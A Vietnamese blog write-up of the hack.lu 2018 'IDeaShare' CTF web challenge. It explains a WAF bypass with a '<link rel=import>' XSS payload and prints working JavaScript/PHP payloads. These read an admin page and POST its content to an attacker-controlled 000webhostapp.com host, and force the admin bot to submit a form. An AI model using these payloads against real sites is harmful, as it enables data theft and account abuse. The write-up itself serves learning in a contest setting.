Hacklu 2018 – IDeaShare (CSP nonce)

Author(s): kunte_ Solves: 2
Difficulty: hard
A place to share your IDeas with your friends!
Try to win the best IDea competition but be wary a strong force prevents any cheating.
Good luck you will need it!
link: https://arcade.fluxfingers.net:1818/

Bài này thực ra không khó nhưng chỉ có 2 team giải ra, lý do có thể là do:
– Cấu hình tường lửa, IDS, IPS gì đó làm rối người chơi
– Blackbox, tất cả clue hầu như đều là guessing và testing mới có thể kiếm được
– Làm rối bằng cách chèn những tính năng khó hiểu
Mình đã không giải ra bài này trong thời gian diễn ra contest vì mình nghĩ là nó rất khó hoặc vì mình ham Liên Quân hơn.
Cho tới bây giờ mình vẫn không thấy ai write up trên kênh CTFtime, vì vậy mình quyết định viết để những người làm bài này bớt ức chế
Bước 1: Guessing và testing mình thấy một số thứ
– Chức năng reset password không hoạt động, và sau này cũng chả có ích gì cho việc khai thác (Mình tự hỏi tác giả muốn gì)
https://arcade.fluxfingers.net:1818/?page=admin
– Tất cả param đều được đưa qua tường lửa, IDS, IPS hay gì đó.
– Chức năng share IDeas nhưng tới cuối mình mới hiểu đây là con bot check XSS.
– Nếu con bot check đoạn XSS hoạt động thành công thì nó sẽ hiện ra như vậy

– Không hề có santizer khi xem raw IDea, tuy nhiên WAF khá gắc.
Bước 2: Bypass IDS, IPS
– Sau khi test với 1 số special payload XSS, tự nhiên lọt 1 payload có thể bypass:

Nhưng phải thỏa một số điều kiện, cụ thể như sau:
+ CORS accept từ attacker host -> iz, ok_hand -> header(“Access-Control-Allow-Origin: *”);
+ Domain name cần phải ngắn gọn xúc tích, và tuyệt đối không chứa những từ nhạy cảm: script, on[xxx], 0x, svg … -> không khó lắm
+ Mua Cert, Cấu hình server attacker chạy trên https -> giàu có, gắc
Điều kiện thứ 3 hơi khó nhưng không phải là không thể, mình dùng cái này 000webhostapp.com
Bước 3: Exploit
Scenario 1: Có admin (chắc bot=admin)-> reset password -> chức năng này không hoạt động -> bỏ qua
Scenario 2: Lấy cookie bot -> session hijacking -> không có cookie
Scenario 3: Blind đọc source admin
Tạo 1 endpoint đọc source admin rồi gửi cho mình

<link/rel=import href=https://aaaaacax.000webhostapp.com/hacklu/leak.php>

nội dung

<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
		function postXMLDoc(theURL,ct)
		 {
		     if (window.XMLHttpRequest)
		     {// code for IE7+, Firefox, Chrome, Opera, Safari, SeaMonkey
		         xmlhttp=new XMLHttpRequest();
		     }
		     else
		     {// code for IE6, IE5
		         xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
		     }
		     xmlhttp.onreadystatechange=function()
		     {
		         
		             a = xmlhttp.responseText;
		         
		     }
		     xmlhttp.open("POST", theURL, false);
		    xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
		     xmlhttp.send('a='+btoa(ct));
		 }
		
		function loadXMLDoc(theURL)
		 {
		     if (window.XMLHttpRequest)
		     {// code for IE7+, Firefox, Chrome, Opera, Safari, SeaMonkey
		         xmlhttp=new XMLHttpRequest();
		     }
		     else
		     {// code for IE6, IE5
		         xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
		     }
		     xmlhttp.onreadystatechange=function()
		     {
		         
		             a = "pl="+xmlhttp.responseText;
		         
		     }
		     xmlhttp.open("GET", theURL, false);
		     xmlhttp.send();
		 }
		loadXMLDoc('/index.php?page=admin');
		postXMLDoc('https://aaaaacax.000webhostapp.com/', a);
	</script>
</script>
<script>alert(33)</script>

Share idea với admin, tìm thấy đoạn code khả nghi

OK mọi chuyện đã rõ, win competition để lấy flag
Tạo 1 endpoint để buộc admin cho mình win

<link/rel=import href=https://aaaaacax.000webhostapp.com/hacklu/leak.php>

Nội dung

<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
var cc = new XMLHttpRequest();
cc.onreadystatechange = function() {
    if (this) {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
            }
        };
        xhttp.open("POST", "https://aaaaacax.000webhostapp.com/?cax="+this.status, true);
        xhttp.send(this.responseText);
    }
};
cc.open("POST", "/?page=admin", true);
cc.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
cc.send("userid=10&submit=1");
</script>

https://arcade.fluxfingers.net:1818/?page=competition lấy flag hoy

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s